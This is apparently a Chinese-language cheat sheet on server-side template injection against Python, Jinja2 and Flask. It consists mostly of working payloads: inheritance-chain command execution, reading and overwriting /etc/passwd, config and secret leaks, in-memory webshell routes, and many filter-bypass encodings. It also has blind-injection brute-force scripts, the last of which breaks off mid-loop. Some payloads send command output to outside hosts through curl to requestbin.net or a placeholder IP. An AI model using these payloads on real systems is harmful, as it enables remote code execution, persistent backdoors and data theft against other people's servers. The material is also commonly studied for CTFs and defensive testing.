SSTI

Python继承链

继承链流程

通过访问Python内部属性,获取可以执行命令的库和函数。
1.获取实例对象的类
2.获取该类的祖先类object
3.获取object的子类
4.选取__init__为函数的类
5.获取其__globals__属性的__builtins__
6.使用内置的类执行代码或导包后执行命令

Python内部属性:

1
2
3
4
5
6
7
8
9
10
__class__ 返回一个实例所属的类
__mro__ 查看类继承的所有父类,直到object
__subclasses__() 获取一个类的子类,返回的是一个列表
__bases__ 返回一个类直接所继承的类(元组形式)
__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化
__globals__ 使用方式是 函数名.__globals__,返回一个当前空间下能使用的模块,方法和变量的字典,与func_globals等价
__getattribute__ 当类被调用的时候,无条件进入此函数。
__getattr__ 对象中不存在的属性时调用
__dict__ 返回所有属性,包括属性,方法等
__builtins__ 方法是作为默认初始模块出现的,可用于查看当前所有导入的内建函数

获取object类

python的object类是所有类的基类,可以通过__mro__和__bases__两种方式来访问到object。
__mro__属性获取类的MRO(方法解析顺序),也就是继承关系。

1
2
3
4
5
6
().__class__.__mro__[1]
{}.__class__.__mro__[1]
[].__class__.__mro__[1]
''.__class__.__mro__[1]#python3
''.__class__.__mro__[2]#python2
request.__class__.__mro__[8] #针对jinjia2/flask为[9]适用

__base__属性可以获取该类的基类,可以叠加使用。

1
2
3
4
5
().__class__.__base__
{}.__class__.__base__
[].__class__.__base__
''.__class__.__base__ # python3
''.__class__.__base__.__base__ # python2

__bases__属性可以获取多继承的基类元组。

1
2
3
4
().__class__.__bases__[0]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]
''.__class__.__bases__[0] # python3

获取子类列表

然后通过object类的__subclasses__()方法获取所有的子类列表,查看可用的类。

1
().__class__.__bases__[0].__subclasses__()

找到__init__为函数的类。
在获取初始化属性后,寻找不带warpper的,wrapper是指这些函数并没有被重载,不具有__globals__属性。

1
2
3
4
l=len([].__class__.__mro__[1].__subclasses__())
for i in range(l):
if 'wrapper' not in str([].__class__.__mro__[1].__subclasses__()[i].__init__):
print(i,[].__class__.__mro__[1].__subclasses__()[i])

或者使用func_globals

存在的子模块还可以通过.index()来进行查询,如果存在的话返回索引,直接调用即可。

1
2
3
4
5
>>> ''.__class__.__mro__[2].__subclasses__().index(file)
40

[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
#将read() 修改为 write() 即为写文件

查看其引用__builtins__

builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。

1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']

这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file以实现读取文件的功能:

1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

RCE

常见的三种利用方式
__builtins__

1
2
3
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']['__import__']('platform').popen('whoami').read()

linecache

1
2
3
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['sys'].modules['os'].system('whoami')
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['__builtins__']['__import__']('os').system('ls')

sys

1
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['sys'].modules['os'].system('whoami')

利用eval进行命令执行

1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

利用warnings.catch_warnings 进行命令执行
(1)查看warnings.catch_warnings方法的位置

1
2
>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59

(2)查看linecatch的位置

1
2
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25

(3)查找os模块的位置

1
2
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12

(4)查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)

1
2
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
144

(5)调用system方法

1
2
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root

(6)直接搜索

1
>>> [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('whoami').read()

利用commands 进行命令执行

1
2
3
4
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

利用任意字符串或特殊变量

1
2
3
sss.__init__.__globals__.__builtins__.open("/flag").read()
config.__class__.__init__.__globals__['os'].popen('ls').read()
request.application.__globals__['__builtins__']['__import__']('os').popen('ls').read()

信息泄露

泄漏环境变量等配置

1
2
3
4
5
6
7
8
9
{{config}}
{{self.__dict__}}
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}}
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}

查看全局变量

1
{{[变量名].__globals__}}

jinja环境变量

1
{{''.__init__.__globals__.app.jinja_env}}

文件读取

常用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__class__            类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的模块、方法以及所有变量。查看所有键名:__globals__.keys()。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。

request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

cycler {{cycler.__init__.__globals__.os.popen('id').read()}}
joiner {{joiner.__init__.__globals__.os.popen('id').read()}}
namespace {{namespace.__init__.__globals__.os.popen('id').read()}}

写路由:
app=__import__('sys').modules['__main__'].__dict__['app']
app.route("/shell","GET",lambda :__import__('os').popen(request.params.ge
t('cmd')).read())

常用过滤器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length():返回字符串的长度,别名是count。

python2

1
2
3
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()

python3

1
''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()

文件写入

python2

1
2
3
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd','w').write('test')}}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd','w').write('test')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd','w').write('test')

内存马

add_url_rule
提供了一个执行命令的路由

1
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

before_request_funcs

1
{{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda+:__import__('os').popen('dir').read())")}}

after_request_funcs

1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

error_handler_spec

1
{{url_for.__globals__['__builtins__']["exec"]("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()")}}

WAF绕过

盲注

通过回显内容的真假爆破字符串

1
2
3
4
5
{%for char in get_env(name="SECRET_KEY")%}
{%if char is matching('') %}1
{%else%}0
{%endif%}
{%endfor%}

示例脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import string
import time
import requests

url = "https://ip:port/"
s = string.printable

def ssti(re):
payload = """text={%for char in get_env(name="SECRET_KEY")%}{%if char is matching('str') %}1{%else%}0{%endif%}{%endfor%}""".replace("str", re)
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
result = requests.post(url, data=payload, headers=headers, verify=False).text
if "1" in result:
print(re, result)
return re
return ""

for i in s:
time.sleep(0.5)
ssti(i)

jinja2过滤器

attr
用于获取变量属性

1
2
''|attr('__class__')
>> ''.__class__

format

1
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'

first last random

1
2
3
|last() => [-1]
|first() => [0]
|random() => [?]

join

1
2
3
4
{{[1,2,3]|join('|')}}
>> 1|2|3
{{[1,2,3]|join}}
>> 123

lower

1
""["__CLASS__"|lower]

replace reverse

1
2
'__claee__'|replace('ee','ss')
'__ssalc__'|reverse

string

1
2
().__class__ => <class 'tuple'>
(().__class__|string)[0] => <

select

1
2
()|select|string
>> '<generator object select_or_reject at 0x0000022717FF33C0>'

list
转换为列表

过滤关键词

字符串拼接
加号是多余的

1
2
3
4
5
6
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['__imp'+'ort__']('o'+'s').popen('who'+'ami').read()}}
yyy.__init__.__globals__.__builtins__|attr('__getit''em__')('ev''al')('__imp''ort__("o''s").po''pen("ls /").re''ad()')
[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()
[].__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["op"+"en"]("/fl"+"ag").read()
{%print config|attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))|attr('%c%c%c%c%c%c%c%c'|format(95,95,105,110,105,116,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))('o'+'s')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('ls')|attr('%c%c%c%c'|format(114,101,97,100))()%}
{%print(((lipsum[(session|string)[35:46]])[(session|string)[53:55]])[(session|string)[73:78]]((session|string)[85:139]))%}

反转

1
{{cycler['__tini__'[::-1]]['__slabolg__'[::-1]].os.popen('id').read()}}

lower()

1
{{sss.__init__.__globals__.__builtins__.open("/FLAG".lower()).read()}}

清空关键字list

1
[关键字list变量名].clear()

引号

1
{{''['__class__'].__mro__[1].__subclasses__()[139].__init__.__globals__['__bui''ltins__']['__impo''rt__']('o''s').popen('who''ami').read()}}

__getattribute__同时绕过中括号

1
''.__getattribute__('__class__')

切片

1
"__ssalc__"[::-1]

编码
base64(python2)

1
2
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['X19pbXBvcnRfXw=='.decode('base64')]('os').popen('whoami').read()}}
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

Unicode

1
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f']('os').popen('whoami').read()}}

16进制

1
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}

8进制

1
{{''['\137\137\143\154\141\163\163\137\137'].__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\137\137\151\155\160\157\162\164\137\137']('os').popen('whoami').read()}}

format

1
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)

chr

1
2
{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

~

1
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

大小写

1
''['__CLASS__'.lower()]

unicode字符 / Non-ASCII Identifies

𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳
𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡𝕒𝕓𝕔𝕕𝕖𝕗𝕘𝕙𝕚𝕛𝕜𝕝𝕞𝕟𝕠𝕡𝕢𝕣𝕤𝕥𝕦𝕧𝕨𝕩𝕪𝕫
0123456789

attr与过滤器
如果没有过滤globals,从globals里把eval函数找出来,然后构造任意字符串放进去RCE即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
{% set xhx = (({ }|select()|string()|list()).pop(24)|string())%}  # _
{% set spa = ((app.__doc__|list()).pop(102)|string())%} #空格
{% set pt = ((app.__doc__|list()).pop(320)|string())%} #点
{% set yin = ((app.__doc__|list()).pop(337)|string())%} #单引号
{% set left = ((app.__doc__|list()).pop(264)|string())%} #左括号(
{% set right = ((app.__doc__|list()).pop(286)|string())%} #右括号)
{% set slas = (y1ng.__init__.__globals__.__repr__()|list()).pop(349)%} #斜线/
{% set bu = dict(buil=aa,tins=dd)|join() %} #builtins
{% set im = dict(imp=aa,ort=dd)|join() %} #import
{% set sy = dict(po=aa,pen=dd)|join() %} #popen
{% set os = dict(o=aa,s=dd)|join() %} #os
{% set ca = dict(ca=aa,t=dd)|join() %} #cat
{% set flg = dict(fl=aa,ag=dd)|join() %} #flag
{% set ev = dict(ev=aa,al=dd)|join() %} #eval
{% set red = dict(re=aa,ad=dd)|join()%} #read
{% set bul = xhx*2~bu~xhx*2 %} #__builtins__

#拼接起来 __import__('os').popen('cat /flag').read()
{% set pld = xhx*2~im~xhx*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~red~left~right %}


{% for f,v in y1ng.__init__.__globals__.items() %} #globals
{% if f == bul %}
{% for a,b in v.items() %} #builtins
{% if a == ev %} #eval
{{b(pld)}} #eval(pld)
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

#payload
#{%%20set%20xhx%20=%20(({%20}|select()|string()|list()).pop(24)|string())%}{%%20set%20spa%20=%20((app.__doc__|list()).pop(102)|string())%}{%%20set%20pt%20=%20((app.__doc__|list()).pop(320)|string())%}%20{%%20set%20yin%20=%20((app.__doc__|list()).pop(337)|string())%}{%%20set%20left%20=%20((app.__doc__|list()).pop(264)|string())%}%20{%%20set%20right%20=%20((app.__doc__|list()).pop(286)|string())%}%20{%%20set%20slas%20=%20(y1ng.__init__.__globals__.__repr__()|list()).pop(349)%}%20{%%20set%20bu%20=%20dict(buil=aa,tins=dd)|join()%20%}{%%20set%20im%20=%20dict(imp=aa,ort=dd)|join()%20%}{%%20set%20sy%20=%20dict(po=aa,pen=dd)|join()%20%}{%%20set%20os%20=%20dict(o=aa,s=dd)|join()%20%}%20{%%20set%20ca%20=%20dict(ca=aa,t=dd)|join()%20%}{%%20set%20flg%20=%20dict(fl=aa,ag=dd)|join()%20%}{%%20set%20ev%20=%20dict(ev=aa,al=dd)|join()%20%}%20{%%20set%20red%20=%20dict(re=aa,ad=dd)|join()%}{%%20set%20bul%20=%20xhx*2~bu~xhx*2%20%}{%%20set%20pld%20=%20xhx*2~im~xhx*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~red~left~right%20%}%20{%%20for%20f,v%20in%20y1ng.__init__.__globals__.items()%20%}{%%20if%20f%20==%20bul%20%}{%%20for%20a,b%20in%20v.items()%20%}{%%20if%20a%20==%20ev%20%}{{b(pld)}}{%%20endif%20%}{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{%set a=dict(po=x,p=x)|join%}  #pop
{%set b=(()|select|string|list)|attr(a)(𝟐𝟒)%} #_
{%set c=(b,b,dict(do=x,c=x)|join,b,b)|join()%} #__doc__
{%set d=(x|attr(c)|list)|attr(a)(𝟑𝟑𝟕)%} #单引号
{%set e=(x|attr(c)|list)|attr(a)(𝟐𝟔𝟒)%} #左括号(
{%set f=(x|attr(c)|list)|attr(a)(𝟐𝟖𝟔)%} #右括号)
{%set g=(x|attr(c)|list)|attr(a)(𝟑𝟐𝟎)%} #点.
{%set h=(x|attr(c)|list)|attr(a)(𝟏𝟎𝟐)%} #空格
{%set i=(b,b,dict(in=x,it=x)|join,b,b)|join()%} #__init__
{%set j=(b,b,dict(glo=x,bals=x)|join,b,b)|join()%} #__globals__
{%set k=(b,b,dict(ge=x,titem=x)|join,b,b)|join()%} #__getitem__
{%set l=(b,b,dict(buil=x,tins=x)|join,b,b)|join()%} #__builtins__
{%set m=(b,b,dict(im=x,port=x)|join,b,b)|join()%} #__import__
{%set n=(x|attr(i)|attr(j)|string|list)|attr(a)(𝟑𝟒𝟗)%}
{%set o=dict(ev=x,al=x)|join()%} #eval
{%set p=dict(o=x,s=x)|join()%} #os
{%set q=dict(po=x,pen=x)|join()%} #popen
{%set r=dict(re=x,ad=x)|join()%} #read
{%set s=(dict(ls=x)|join,h,n,dict(var=x)|join,n,dict(www=x)|join,n,dict(flask=x)|join)|join()%}
{%set t=(m,e,d,p,d,f,g,q,e,d,s,d,f,g,r,e,f)|join()%}
{%set u=x|attr(i)|attr(j)|attr(k)(l)|attr(k)(o)(t)%}
{{u}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{% set id=dict(ind=a,ex=a)|join%}
{% set pp=dict(po=a,p=a)|join%}
{% set ls=dict(ls=a)|join%}
{% set ppe=dict(po=a,pen=a)|join%}
{% set gt=dict(ge=a,t=a)|join%}
{% set cr=dict(ch=a,r=a)|join%}
{% set nn=dict(n=a)|join%}
{% set tt=dict(t=a)|join%}
{% set ff=dict(f=a)|join%}
{% set ooqq=dict(o=a,s=a)|join %}
{% set rd=dict(re=a,ad=a)|join%}
{% set five=(lipsum|string|list)|attr(id)(tt) %}
{% set three=(lipsum|string|list)|attr(id)(nn) %}
{% set one=(lipsum|string|list)|attr(id)(ff) %}
{% set shiba=five*five-three-three-one %}
{% set xiahuaxian=(lipsum|string|list)|attr(pp)(shiba) %}
{% set gb=(xiahuaxian,xiahuaxian,dict(glob=a,als=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set bin=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set chcr=(lipsum|attr(gb))|attr(gt)(bin)|attr(gt)(cr) %}
{% set xiegang=chcr(three*five*five-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one)%}
{% set space=chcr(three*three*five-five-five-three) %}
{% set shell=(ls,space,xiegang,dict(var=a)|join,xiegang,dict(www=a)|join,xiegang,dict(flask=a)|join)|join %}
{{(lipsum|attr(gb))|attr(gt)(ooqq)|attr(ppe)(shell)|attr(rd)()}}

过滤[]

调用方法来获取属性

列表方法
__getitem__
pop
get
setdefault

1
2
3
4
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
1
{{''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(139).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').popen('whoami').read()}}
1
{{''.__class__.__mro__.pop(1).__subclasses__().pop(139).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').popen('whoami').read()}}

unicode字符:[],﹇﹈

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过。

1
2
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
().__class__.__mro__.__getitem__(1).__subclasses__().pop(407)("cat /flag",shell=True,stdout=-1).communicate().__getitem__(0)

过滤引号

request
request.args和request.values

1
{{[].__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(request.args.v1).popen(request.values.v2).read()}}&v1=os&v2=whoami

chr

1
{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

unicode字符:"",''

过滤.

点等价于__getattribute__

1
''.__getattribute__('__class__')

[]

1
{{''['__class__']['__mro__'][1]['__subclasses__']()[139]['__init__']['__globals__']['__builtins__']['eval'](request.args.v1)}}

|attr

1
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(139)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}

getattr

1
getattr('','__class__')

过滤_

过滤了_可以用dir(0)[0][0]或者request[‘args’]或者 request[‘values’]绕过

request

1
2
3
{{''[request.args.v1][request.args.v2][1][request.args.v3]()[139][request.args.v4][request.args.v5][request.args.v6][request.args.v7](request.args.v8)}}&v1=__class__&v2=__mro__&v3=__subclasses__&v4=__init__&v5=__globals__&v6=__builtins__&v7=eval&v8=__import__("os").popen("whoami").read()

{{()|attr(request.values.x)|attr(request.values.y)|attr(request.values.a)()|attr(request.values.z)(185)|attr(request.values.b)|attr(request.values.c)|attr(request.values.z)(request.values.d)|attr(request.values.z)(request.values.e)(request.values.f)|attr(request.values.g)|attr(request.values.z)(request.values.h)(request.values.i)}}&x=__class__&y=__base__&z=__getitem__&a=__subclasses__&b=__init__&c=__globals__&d=__builtins__&e=__import__&f=os&g=__dict__&h=system&i=curl http://requestbin.net/r/1eqk6r61?p=`cat /flag`

过滤大括号

if

1
{% if ''.__class__.__base__.__subclasses__()[139].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("curl http://xxx.xxx.xxx.xxx:12345/?i=`whoami`").read()') %}1{% endif %}

print

1
{% print(''.__class__.__base__.__subclasses__()[139].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')) %}

unicode字符:︷︷︸︸

过滤()

unicode字符:⁽⁾,₍₎

对函数执行方式重载,如

1
request.__class__.__getitem__=__builtins__.exec

执行request[payload]时相当于exec(payload)

lambda表达式

过滤数字

unicode字符:𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗,𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡,0123456789

对象层面

(1)set {}=None
其他引用

1
2
{{% set config=None %}} => {{url_for.__globals__.current_app.config}}
{{% set __builtins__=None %}} => {{[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__}}

(2)del
重载

1
reload(__builtins__)

(3)其它
获得对应函数的上下文常量

1
func.__code__.co_consts

长度绕过

1
2
3
4
{{url_for.__globals__[request.args.a]}}
{{lipsum.__globals__.os[request.args.a]}}
{{url_for.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('whoami').read()}}

Jinja 模板中存在 set 语句,用来设置模板中的变量:
config 对象实质上是一个字典的子类,可以像字典一样操作。因此要更新字典,我们可以使用 Python 中字典的 update() 方法。用 update() 方法 + 关键字参数更新字典。

1
2
3
4
5
6
7
{{config}}
{%set x=config.update(l=lipsum)%}
{%set x=config.update(u=config.update)%}
{%set x=config.u(g=request.args.a)%}&a=__globals__
{%set x=config.u(o=lipsum[config.g].os)%}
{%set x=config.u(f=config.l[config.g])%}
{{config.f.os.popen('cat /f*').read()}}
1
2
3
4
5
6
7
8
9
10
11
12
{%set x=config.update(a=config.update)%}
{%set x=config.a(f=lipsum.__globals__)%}
{%set x=config.a(o=config.f.os)%}
{%set x=config.a(p=config.o.popen)%}
{{config.p("cat /t*").read()}}

{%set x=config.update(l=lipsum)%}
{%set x=config.update(g=request.args.a)%}&a=__globals__
{%set x=config.update(f=config.l|attr(config.g))%}
{%set x=config.update(o=config.f.os)%}
{%set x=config.update(p=config.o.popen)%}
{%print(config.p(request.args.c).read())%}&c=whoami

无回显

1
2
3
{{yyy.__init__.__globals__.__builtins__|attr('__getitem_')('eval')('__import__("time").sleep(3) if open("/app/flag.txt").read()[0]=="f" else 1')}}
{%if session.update({'f':lipsum.__globals__.__os__.__popen__('id').read()})%}{%endif%}
{%include session.update({'f':lipsum.__globals__.__os__.__popen__('id').read()})%}

回显

1
{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set ay='so'[::-1]%}{{cycler.next[gl][bu]['ev'+'al']("_"+"_imp"+"ort_"+"_('s"+"ys').modules['_"+"_main_"+"_']._"+"_dict_"+"_['app'].before_request_funcs.setdefault(None,[]).append(lambda:'<pre>{0}</pre>'.format(_"+"_impo"+"rt_"+"_('o"+"s').po"+"pen('id').read()))")}}

盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
from string import printable as pt

host = ''
res = ''

for i in range(0,40):
for c in pt:
payload = '{{(request.__class__.__mro__[2].__subclasses__[334].__init__.__globals__["__builtins__"]["file"]("/etc/passwd").read()|string).index("%c",%d,%d)}}' % (c,i,i+1)
param = {
"name":payload
}
